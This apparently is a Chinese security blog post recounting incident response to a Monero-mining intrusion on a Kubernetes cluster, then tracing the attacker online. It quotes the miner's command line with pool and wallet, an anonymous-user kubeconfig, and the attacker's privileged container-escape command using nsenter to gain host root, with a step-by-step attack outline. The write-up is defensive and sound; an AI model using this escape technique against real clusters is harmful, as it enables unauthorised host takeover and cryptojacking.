从入侵应急响应到追踪溯源

  • A+
所属分类:安全文章

从入侵应急响应到追踪溯源

故事背景


一天我收到云安全告警,说服务器被人挖矿,就非常奇怪,因为我在服务器已经部署了HIDS,为啥我没有收到呢?后面才知道是容器服务被人入侵,HIDS只关注宿主机状态。


(以下过程是重新搭建一套环境进行分析入侵攻击流程)


故事过程


应急措施


首先使用TOP命令查看CPU使用情况,发现CPU使用最多的进行xmrig,懂的人都知道这个进程是门罗币的挖矿程序,也就是咱们中了挖矿病毒。


从入侵应急响应到追踪溯源


接着就找他的位置,发现它在/usr/bin/


从入侵应急响应到追踪溯源


但是查看它的位置显示不存在,这就很奇怪了,因为如果是自删除的话,exe这里就会显示删除,但是并没有,而且一直kill它,接着就复活,一开始怀疑的是不是还有其他进程支持它复活。


从入侵应急响应到追踪溯源


接着在docker里面发现有这个挖矿服务正在运行中难怪一直KILL都会复活。

因为存在非常多镜像,直接筛选跑CPU最多的容器出来。

[[email protected] ~]# docker stats --no-stream
CONTAINER CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O PIDS
8c20ceddd118 99.07% 258.9 MiB / 972.4 MiB 26.63% 1.93 kB / 1.61 kB 6.34 MB / 0 B 7

找到了挖矿镜像,原来是被人下载了镜像,并且运行


从入侵应急响应到追踪溯源


于是进入到容器里面,ps命令查看进程运行情况

[[email protected] /]# ps aux | grep xm
root 1 99.6 26.9 540496 268204 ? Ssl+ 12:19 11:39 /usr/bin/xmrig -o xmr-eu2.nanopool.org:14444 -u 47YMfiGEidNWZdkVZNWDkZj7LRC5MAVLd14i6xYyX2ag4nDvAXDqk8FSDwTmHTyVHnFUVhw6gnApp3N6HfyJFC1F995RSfU -p worker -a rx/0

-o就是矿池中控的地址,u就是钱包地址。

事到如今,可以确认引起告警是挖矿程序跑满CPU导致的,所以直接停掉这个容器服务

[[email protected] ~]# docker stop 8c20
8c20
[[email protected] ~]#

接着检查一下有没有被人留后门,发现了一个执行脚本


从入侵应急响应到追踪溯源


看来还留了一手,在宿主机也运行门罗币挖矿程序,下载压缩包,发现里面有一个运行程序和配置文件,查看这个配置文件,是连接矿池的配置。


从入侵应急响应到追踪溯源


找了一遍之后,没有发现什么了,只有两个入侵行为。

溯源过程


因为是一套K8S集群,我当时发现有两个镜像存在xmrig,其中一个就是K8S的RBAC镜像(权限控制),后面查询K8SAPI访问日志,才知道API可以匿名访问控制(system:anonymous),具体过程如下:

先查看K8S集群里面有多少nodes节点,因为我是本地搭建,所以我只有单节点,localhost。


从入侵应急响应到追踪溯源


使用post方式调用接口创建pods(pods概念可以理解成一个箱子里面运行一个或多个容器)


从入侵应急响应到追踪溯源


由于是K8S api未授权访问,所以直接修改本地kubtctl直接就调用,不使用上面方式进行调用,麻烦。

[email protected]:~# cat /root/.kube/config
apiVersion: v1
clusters:
- cluster:
server: https://192.168.1.140:8443
name: mk
contexts:
- context:
cluster: mk
user: anonymous
name: [email protected]
current-context: [email protected]
kind: Config
preferences: {}

这个是黑客的调用docker镜像进行提权,核心代码是以下这段

"command": ["docker", "run", "-it", "--privileged", "--pid=host", "--net=host", "docker", "sh", "-c", "nsenter --mount=/proc/1/ns/mnt -- su -"],
  • --privileged:给予容器特权

  • --pid=host:共享主机进程

  • --net=host:共享主机网络

  • nsenter --mount=/proc/1/ns/mnt -- su - :挂在宿主机的/proc目录到容器/proc里面,并且su变成root用户


从入侵应急响应到追踪溯源


以下是整个攻击过程模拟:

  1. 黑客发现K8S API存在未授权访问

  2. 匿名用户创建pods,并且查看pods是否成功激活

  3. 提权,容器逃逸并且成为宿主机的root用户

  4. 下载恶意脚本和启动挖矿镜像

  5. 退出容器,并且删除pods,清理痕迹


从入侵应急响应到追踪溯源


追踪过程


根据这个黑客的镜像名字,我找到了他的dockerhub仓库,居然下载有1K多次,看来是个老矿工。


从入侵应急响应到追踪溯源


咦,居然还留着GitHub地址,点击过去,还有dockefile,看来只是安装和配置门罗币挖矿程序


从入侵应急响应到追踪溯源


来到他的个人首页,居然还发现上面有一个通信地址,看来是俄罗斯黑客。


从入侵应急响应到追踪溯源


点击进去发现,原来是个俄罗斯招聘网站,类似拉勾程序员招聘网站。


从入侵应急响应到追踪溯源


注册登录进去,令人惊讶的是,简历居然是公开的=-=防社工意识不强啊。这年头,大佬都要下海干活,看来中年危机很严重。。。


从入侵应急响应到追踪溯源


继续Google发现还真的是大佬,具体信息就不发出来了。

这就让我很好奇他赚了多少钱,找他矿池地址


从入侵应急响应到追踪溯源


点击首页看到一堆币运行教程


从入侵应急响应到追踪溯源


输入钱包地址,就会看到挖矿的经过,这段时间就赚了66美元。


从入侵应急响应到追踪溯源


看来是这个钱包地址是从七天前开始启用的,但是发现dockerfile最早的记录是在几个月前,可想而知,大佬估计换一个钱包地址继续下一波。


从入侵应急响应到追踪溯源

从入侵应急响应到追踪溯源

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: